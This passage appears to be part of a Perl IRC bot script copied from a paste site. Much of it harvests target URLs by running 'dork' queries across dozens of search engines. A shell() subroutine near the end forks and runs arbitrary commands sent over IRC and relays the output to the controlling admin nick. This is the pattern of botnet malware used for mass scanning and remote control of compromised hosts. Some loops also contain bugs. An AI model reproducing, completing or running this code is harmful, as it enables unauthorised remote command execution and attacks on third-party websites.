  1334.         my $res = search_engine_query($search);
  1335.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  1336.             my $link = $1;
  1337.             if ($link !~ /kvasir/){
  1338.                 $link =~ s/<//g;
  1339.                 $link =~ s/ //g;
  1340.                 my @grep = links($link);
  1341.                 push(@list,@grep);
  1342.             }
  1343.         }
  1344.     }
  1345.     return @list;
  1346. }
  1347.  
  1348. sub buscar() {
  1349.     my @list;
  1350.     my $key = $_[0];
  1351.     for (my $i=1; $i<=1000; $i+=10){
  1352.         my $search = ("http://buscar.ozu.es/index.php?etq=web&q=".key($key)."&pag=".$i);
  1353.         my $res = search_engine_query($search);
  1354.         while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  1355.             my $link = $1;
  1356.             if ($link !~ /buscar/){
  1357.                 $link =~ s/<//g;
  1358.                 $link =~ s/ //g;
  1359.                 my @grep = links($link);
  1360.                 push(@list,@grep);
  1361.             }
  1362.         }
  1363.     }
  1364.     return @list;
  1365. }
  1366.  
  1367. sub excite() {
  1368.     my @list;
  1369.     my $key = $_[0];
  1370.     my $i   = 0;
  1371.     for ($i=0; $i<=1000; $i+=100){
  1372.         my $search = ("http://msxml.excite.com/excite/ws/redir/_iceUrlFlag=11?qcat=Web&amp;qkw=".key($key)."&amp;qcoll=relevance&amp;zoom=off&amp;bepersistence=true&amp;newtxn=false&amp;qi=41&amp;qk=20&amp;page=".$i."&amp;_IceUrl=true");      
  1373.         my $res = search_engine_query($search);
  1374.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1375.             if ($link !~ /excite/){
  1376.                 my $link = $1;
  1377.                 my @grep= links($link);
  1378.                 push(@list,@grep);
  1379.             }
  1380.         }
  1381.     }
  1382.     return @list;
  1383. }
  1384.  
  1385. sub interia() {
  1386.     my @list;
  1387.     my $key = $_[0];
  1388.     for ($i = 0;$i<= 100; $i+= 10) {
  1389.            my $search = ("http://www.google.interia.pl/szukaj?q=".key($key)."&s=szukaj&w=sw&szukaj=&p=".$i);
  1390.            my $res = search_engine_query($search);
  1391.            while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
  1392.                 my $link = $1;
  1393.                 if ($link!~ /google|interia/) {
  1394.                    my @grep= links($link);
  1395.                    push(@list,@grep);
  1396.            }
  1397.        }
  1398.    }
  1399.   return @list;
  1400. }
  1401.  
  1402. sub snz() {
  1403.     my @list;
  1404.     my $key = $_[0];
  1405.     for (my $i=0; $i<=1000; $i+=100) {
  1406.         my $search = ("http://searchnz.co.nz/search.aspx?x=0&y=0&q=".key($key)."&page=".$i);
  1407.         my $res = search_engine_query($search);
  1408.         while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
  1409.             my $link = $1;
  1410.             if ($link!~ /searchnz/){
  1411.                 my @grep = links($link);
  1412.                 push(@list,@grep);
  1413.             }
  1414.         }
  1415.     }
  1416.     return @list;
  1417. }
  1418.  
  1419. sub rambler() {
  1420.     my @list;
  1421.     my $key = $_[0];
  1422.     for ($b=0; $b<=500; $b+=10){
  1423.         my $search=("http://nova.rambler.ru/srch?btnG=DtD??DaN?D???!&query=".key($key)."&page=".$b);
  1424.         my $res = search_engine_query($search);
  1425.         while ($res =~ m/href=\"http:\/\/(.*)\"/g) {
  1426.             my $link = $1;
  1427.             if ($link!~ /rambler|nova|cache/ ){
  1428.                 my @grep = links($link);
  1429.                 push(@list,@grep);
  1430.             }
  1431.         }
  1432.     }
  1433.    return @list;
  1434. }
  1435.  
  1436. sub yandex() {
  1437.     my @list;
  1438.     my $key = $_[0];
  1439.     for ($b=0; $b<=500; $b+=10){
  1440.         my $search = ("http://yandex.ru/yandsearch?p=".$b."&text=".key($key)."&lr=84");
  1441.         my $res = search_engine_query($search);
  1442.         while ($res =~ m/href=\"http:\/\/(.*?)\"/ig) {
  1443.             my $link = $1;
  1444.             if ($link!~ /yandex/ ){
  1445.                 my @grep = links($link);
  1446.                 push(@list,@grep);
  1447.             }
  1448.         }
  1449.     }
  1450.    return @list;
  1451. }
  1452.  
  1453. sub blackle() {
  1454.     my @list;
  1455.     my $key = $_[0];
  1456.     for ($b=0; $b<=1000; $b+=10){
  1457.         my $search = ("http://www.google.com/cse?cx=013269018370076798483%3A8eec3papwpi&ie=UTF-8&q=".key($key).".$b");
  1458.         my $res = search_engine_query($search);
  1459.         while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  1460.             my $link = $1;
  1461.             if ($link!~ /blackle/ ){
  1462.                 my @grep = links($link);
  1463.                 push(@list,@grep);
  1464.             }
  1465.         }
  1466.     }
  1467.    return @list;
  1468. }
  1469.  
  1470. sub wiki() {
  1471.     my @list;
  1472.     my $key = $_[0];
  1473.     my $i   = 0;
  1474.     for ($i=1; $i<=1000; $i+=100){
  1475.         my $search = ("http://en.wikipedia.org/wiki/_iceUrlFlag=11?qcat=Web&amp;qkw=".key($key)."&amp;qcoll=relevance&amp;zoom=off&amp;bepersistence=true&amp;newtxn=false&amp;qi=41&amp;qk=20&amp;page=".$i."&amp;_IceUrl=true");     
  1476.         my $res = search_engine_query($search);
  1477.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  1478.             if ($link !~ /wikipedia/){
  1479.                 my $link = $1;
  1480.                 my @grep= links($link);
  1481.                 push(@list,@grep);
  1482.             }
  1483.         }
  1484.     }
  1485.     return @list;
  1486. }
  1487.  
  1488. sub yause() {
  1489.     my @list;
  1490.     my $key = $_[0];
  1491.     my $b   = 0;
  1492.     for ($b=1; $b<=500; $b+=1) {
  1493.         my $search = ("http://www.yauba.com/?query=".key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  1494.         my $res = search_engine_query($search);
  1495.         while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.*?)\" onfocus=/g) {
  1496.             my $link = $1;
  1497.             if ($link!~ /yauba|websites/){
  1498.                 my @grep = links($link);
  1499.                 push(@list,@grep);
  1500.             }
  1501.         }
  1502.     }
  1503.     return @list;
  1504. }
  1505.  
  1506. sub rose() {
  1507.   my @list;
  1508.   my $key = $_[0];
  1509.   my $b   = 0;
  1510.         for ($b=10; $b<=6000; $b+=1) {
  1511.         my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".key($key));
  1512.         my $res = search_engine_query($search);
  1513.         while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  1514.             if ($link !~ /euroseek/){
  1515.             my $link = $1;
  1516.                 my @grep = links($link);
  1517.                 push(@list,@grep);
  1518.             }
  1519.         }
  1520.     }
  1521.     return @list;
  1522. }
  1523.  
  1524. sub duck() {
  1525.    my @list;
  1526.    my $key = $_[0];
  1527.    for ($b=1; $b<=100; $b+=10) {
  1528.         my $search = ("http://duckduckgo.com/html/?q=".key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  1529.         my $res = search_engine_query($search);
  1530.         while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  1531.             my $link = $1;
  1532.             if ($link !~ /duck/){
  1533.                 my @grep = links($link);
  1534.                 push(@list,@grep);
  1535.             }
  1536.         }
  1537.     }
  1538.     return @list;
  1539. }
  1540.  
  1541. sub mamma() {
  1542.     my @list;
  1543.     my $key = $_[0];
  1544.     for (my $i=0;$i<=1000;$i+=10){
  1545.         my $search = ("http://www.mamma.com/result.php?type=web&q=".$key."&j_q=&l=".$i);
  1546.         my $res = search_engine_query($search);
  1547.         while ($res =~ m/http:\/\/(.*?)\<\/span>/g) {
  1548.             my $link = $1;
  1549.             if ($link !~ /mamma.com/){
  1550.                 my @grep = links($link);
  1551.                 push(@list,@grep);
  1552.             }
  1553.         }
  1554.     }
  1555.     return @list;
  1556. }
  1557.  
  1558. sub fireball() {
  1559.     my @list;
  1560.     my $key = $_[0];
  1561.     for (my $i=1;$i<=500;$i+=50){
  1562.         my $search = ("http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8".$i);
  1563.         my $res = search_engine_query($search);
  1564.         while ($res =~ m/<a href=\"http:\/\/(.*?)\" target/g) {
  1565.             my $link = $1;
  1566.             if ($link !~ /ergab keine Treffer in Deutsche Seiten/){
  1567.                 my @grep = links($link);
  1568.                 push(@list,@grep);
  1569.             }
  1570.         }
  1571.     }
  1572.     return @list;
  1573. }
  1574.  
  1575. sub abacho() {
  1576.     my @list;
  1577.     my $key = $_[0];
  1578.     for (my $i=10;$i<=1000;$i+=0){
  1579.         my $search = ("http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=".$i);
  1580.         my $res = search_engine_query($search);
  1581.         while ($res =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g) {
  1582.             my $link = $1;
  1583.             if ($link !~ /We didn't find any results matching your query/){
  1584.                 my @grep = links($link);
  1585.                 push(@list,@grep);
  1586.             }
  1587.         }
  1588.     }
  1589.     return @list;
  1590. }
  1591.  
  1592. sub netscape() {
  1593.     my @list;
  1594.     my $key = $_[0];
  1595.     for (my $i=1;$i<=1000;$i+=10){
  1596.         my $search = ("http://search.aol.com/aol/search?s_it=topsearchbox.search&v_t=nscpsearch&q=".$key."&page=".$i);
  1597.         my $res = search_engine_query($search);
  1598.         while ($res =~ m/url\">http:\/\/(.*?)<\/p>/g) {
  1599.             my $link = $1;
  1600.             if ($link !~ /search.netscape|aol/){
  1601.                 my @grep = links($link);
  1602.                 push(@list,@grep);
  1603.             }
  1604.         }
  1605.     }
  1606.     return @list;
  1607. }
  1608.  
  1609. sub webcrawl() {
  1610.     my @list;
  1611.     my $key = $_[0];
  1612.     for (my $i=0;$i<=1000;$i+=10){
  1613.         my $search = ("http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true".$i);
  1614.         my $res = search_engine_query($search);
  1615.         while ($res =~ m/status='http:\/\/(.*?)';/g) {
  1616.             my $link = $1;
  1617.             if ($link !~ /webcrawler|google/){
  1618.                 my @grep = links($link);
  1619.                 push(@list,@grep);
  1620.             }
  1621.         }
  1622.     }
  1623.     return @list;
  1624. }
  1625.  
  1626. sub live() {
  1627.     my @list;
  1628.     my $key = $_[0];
  1629.     for (my $i= 1; $i<=1000; $i+=10){
  1630.         my $search = ("http://search.live.com/results.aspx?q=".$key."&go".$i);
  1631.         my $res = search_engine_query($search);
  1632.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1633.             my $link = $1;
  1634.             if ($link !~ /live/){
  1635.                 my @grep = links($link);
  1636.                 push(@list,@grep);
  1637.             }
  1638.         }
  1639.     }
  1640.     return @list;
  1641. }
  1642.  
  1643. sub GooGLe2() {
  1644.     my @list;
  1645.     my $key = $_[0];
  1646.     for (my $i=1; $i<=1000; $i+=10){
  1647.         my $search = ("http://www.google.dk/search?q=".key($key)."&num=100&filter=0&start=".$i);
  1648.         my $res = search_engine_query($search);
  1649.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1650.             my $link = $1;
  1651.             if ($link !~ /google2/){
  1652.                 my @grep = links($link);
  1653.                 push(@list,@grep);
  1654.             }
  1655.         }
  1656.     }
  1657.     return @list;
  1658. }
  1659.  
  1660. sub GooGLe3() {
  1661.     my @list;
  1662.     my $key = $_[0];
  1663.     for (my $i=0; $i<=1000; $i+=100){
  1664.         my $search = ("http://www.google.cz/search?q=".key($key)."&num=100&filter=0&start=".$i);
  1665.         my $res = search_engine_query($search);
  1666.         while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  1667.             my $link = $1;
  1668.             if ($link !~ /google3/){
  1669.                 my @grep = links($link);
  1670.                 push(@list,@grep);
  1671.             }
  1672.         }
  1673.     }
  1674.     return @list;
  1675. }
  1676.  
  1677.  
  1678. #########################################
  1679.  
  1680. sub clean() {
  1681.     my @cln = ();
  1682.     my %visit = ();
  1683.     foreach my $element (@_) {
  1684.         $element =~ s/\/+/\//g;
  1685.         next if $visit{$element}++;
  1686.         push @cln, $element;
  1687.     }
  1688.     return @cln;
  1689. }
  1690.  
  1691. sub key() {
  1692.     my $dork = $_[0];
  1693.     $dork =~ s/ /\+/g;
  1694.     $dork =~ s/:/\%3A/g;
  1695.     $dork =~ s/\//\%2F/g;
  1696.     $dork =~ s/\?/\%3F/g;
  1697.     $dork =~ s/&/\%26/g;
  1698.     $dork =~ s/\"/\%22/g;
  1699.     $dork =~ s/,/\%2C/g;
  1700.     $dork =~ s/\\/\%5C/g;
  1701. $dork =~ s/@/\%40/g;
  1702. $dork =~ s/\[/\%5B/g;
  1703. $dork =~ s/\]/\%5D/g;
  1704. $dork =~ s/\?/\%3F/g;
  1705. $dork =~ s/\=/\%3D/g;
  1706. $dork =~ s/\|/\%7C/g;
  1707.     return $dork;
  1708. }
  1709.  
  1710. sub links() {
  1711.     my @list;
  1712.     my $link = $_[0];
  1713.     my $host = $_[0];
  1714.     my $hdir = $_[0];
  1715.     $hdir =~ s/(.*)\/[^\/]*$/$1/;
  1716.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1717.     $host .= "/";
  1718.     $link .= "/";
  1719.     $hdir .= "/";
  1720.     $host =~ s/\/\//\//g;
  1721.     $hdir =~ s/\/\//\//g;
  1722.     $link =~ s/\/\//\//g;
  1723.     push(@list,$link,$host,$hdir);
  1724.     return @list;
  1725. }
  1726.  
  1727. sub search_engine_query($) {
  1728.     my $url = $_[0];
  1729.     $url =~ s/http:\/\///;
  1730.     my $host = $url;
  1731.     my $query = $url;
  1732.     my $page  = "";
  1733.     $host =~ s/href=\"?http:\/\///;
  1734.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  1735.     $query =~ s/$host//;
  1736.     if ($query eq "") { $query = "/"; }
  1737.         eval {
  1738.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  1739.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  1740.             my @pages = <$sock>;
  1741.             $page = "@pages";
  1742.             close($sock);
  1743.         };
  1744.     return $page;
  1745. }
  1746.  
  1747. #########################################
  1748.  
  1749. sub shell() {
  1750.     my $path = $_[0];
  1751.     my $cmd = $_[1];
  1752.     if ($cmd =~ /cd (.*)/) {
  1753.         chdir("$1") || &msg("$path","4,1No such file or directory");
  1754.         return;
  1755.     }
  1756.     elsif ($pid = fork) { waitpid($pid, 0); }
  1757.     else { if (fork) { exit; } else {
  1758.         my @output = `$cmd 2>&1 3>&1`;
  1759.         my $c = 0;
  1760.         foreach my $output (@output) {
  1761.             $c++;
  1762.             chop $output;
  1763.             &msg("$path","$output");
  1764.             if ($c == 5) { $c = 0; sleep 2; }
  1765.         }
  1766.         exit;
  1767.     }}
  1768. }
  1769.  
  1770. sub isAdmin() {
  1771.     my $status = 0;
  1772.     my $nick = $_[0];
  1773.     if ($nick eq $admin) { $status = 1; }
  1774.     return $status;
  1775. }
  1776.  
  1777. sub msg() {
  1778.     return unless $#_ == 1;
  1779.     sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  1780. }
  1781.  
  1782. sub nick() {
  1783.     return unless $#_ == 0;
  1784.     sendraw("NICK $_[0]");
  1785. }
  1786.  
  1787. sub notice() {
  1788.     return unless $#_ == 1;
  1789.     sendraw("NOTICE $_[0] :$_[1]");
  1790. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement